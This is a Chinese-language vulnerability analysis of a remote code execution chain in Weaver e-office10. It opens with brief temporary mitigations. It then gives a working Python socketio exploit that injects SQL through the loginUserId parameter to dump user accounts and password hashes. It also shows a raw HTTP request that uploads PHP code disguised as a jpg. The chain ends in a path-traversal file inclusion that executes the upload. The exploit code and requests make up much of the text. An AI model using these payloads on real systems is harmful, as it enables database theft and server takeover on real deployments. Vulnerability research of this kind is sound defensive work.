泛微 e-office10 远程代码执行漏洞分析
根据微步描述知道是im服务的洞https://mp.weixin.qq.com/s/4om8iuGpAKWPjEocBB4lKQ 2、临时修复方案: 1.使用防护类设备对相关资产进行SQL注入、文件包含等攻击的防护; 2.在确认不影响业务的情况下可临时关闭im服务,或使用网络ACL策略限制im服务的公网访问。 得到nodejs的server路径。没混淆什么的。diff一下 知道是getPe
根据微步描述知道是im服务的洞https://mp.weixin.qq.com/s/4om8iuGpAKWPjEocBB4lKQ
2、临时修复方案:
1.使用防护类设备对相关资产进行SQL注入、文件包含等攻击的防护;
2.在确认不影响业务的情况下可临时关闭im服务,或使用网络ACL策略限制im服务的公网访问。


得到nodejs的server路径。没混淆什么的。diff一下
知道是getPersonalOfflineRecord的问题

socket事件为outline recordLength时触发。

loginUserId是query传进来的

继续跟connectToSocket

这里的/web是websocket的namespace
outline recordLength是事件
python 连接websocket 代码如下
有个坑。。。socketio报错可能需要装特定版本才能连上。不然会有OPEN packet not returned by server报错
pip install python-engineio==3.14.2 python-socketio==4.6.0
import socketio
sio = socketio.Client()
@sio.on('connect', namespace='/web')
def connect():
print('Connected to the server')
sio.emit('outline recordLength', None, namespace='/web')
#发送事件
@sio.on('send recordLength', namespace='/web')
def on_message(data):
print('Received data: ' + str(data))
#用来接收返回值
sio.connect('http://192.168.0.139:4986?loginUserId=admin&loginDeptId=0&loginRoleId=1', namespaces=['/web'])
try:
sio.wait()
except KeyboardInterrupt:
pass
finally:
sio.disconnect()
现在主要来看outline recordLength事件的处理
personalRecordTableNameArray为查询information_schema.tables中chat_personal_record开头的表
chat_personal_record开头的表默认只有chat_personal_record。需要自己新建账号。聊天几句就会创建chat_personal_record_1等。后面有用。

这里就判断了。数据库中的表是否有chat_personal_record_0、1、2、3。如果没有就不会继续执行变量赋值了。下面的所有sql都依赖于这

之后就是直接带入sql执行了。然后返回值。

最终exp如下
import socketio
sio = socketio.Client()
@sio.on('connect', namespace='/web')
def connect():
print('Connected to the server')
sio.emit('outline recordLength', None, namespace='/web')
@sio.on('send recordLength', namespace='/web')
def on_message(data):
print('Received data: ' + str(data))
sio.connect('http://192.168.0.139:4986?loginUserId=aa",`chat_object`) union select 1,2,3,group_concat(user_accounts,0x7e,password,0x7e) ,5,6,0,8,9,10,11,12 from user%23&loginDeptId=0&loginRoleId=1', namespaces=['/web'])
try:
sio.wait()
except KeyboardInterrupt:
pass
finally:
sio.disconnect()

这里password是md5(unix)。要解。解不出来就没用。或者还有其他的接口可以直接MD5登录?
登录后之后文件包含利用。长亭之前也发过一个。抓过接口。
POST /eoffice10/server/public/api/welink/welink-move HTTP/1.1
Host: 192.168.0.139:8010
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.139:8010/eoffice10/client/web/system/user/manage
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvQIRygBK
Content-Length: 8003
------WebKitFormBoundaryvQIRygBK
Content-Disposition: form-data; name="file"; filename="1.phP"
Content-Type: image/png
jpg文件内容+后面<?php xxxx
------WebKitFormBoundaryvQIRygBK--
只有内容校验。jpg的。但是直接php不能上传 有过滤
并且上传在attachment目录不能直接访问
至于为啥这里要用phP下面再说

返回包对应的attachment目录为attachment\2023\11\29\8de8701f16a64d88f5fda3ad1b3f5375\1.phP
HTTP/1.1 200 OK
Date: Wed, 29 Nov 2023 10:14:22 GMT
Server: Apache
Cache-Control: no-cache, private
Connection: close
Content-Type: application/json
Content-Length: 2702
{"status":1,"data":[{"attachmentId":"8de8701f16a64d88f5fda3ad1b3f5375","attachmentName":"1.phP","attachmentThumb":"data:image\/jpg;base64,\/xxxxxxxx","attachmentSize":7841,"attachmentType":"jpg","attachmentMark":1}],"runtime":"0.170"}
这里文件上传就搞定了。接着看文件包含。搜require(.*?)\$搜到getArrayFromPhp

这里看getLangFileFullPath的实现和上层调用$local, $module是否可控

先看方法实现。$this->serverLangSuffix是.php 并且getServerLangFolder是获取eoffice10\server\resources目录。所以只要$filename可控。就能../../配合1.php文件包含。由于泛微E-office只能Windows下部署(官网试用只有exe。咱也不知道有无Linux版)

由于Windows下大小写不分。上传1.phP。包含1.php可以包含到。。ok接着回头看getPhpLangArrayByModule上层调用的$module
继续跟进getServerStaticLangsByModule

module可控。并且有定义路由

带上登录的Authorization直接文件包含
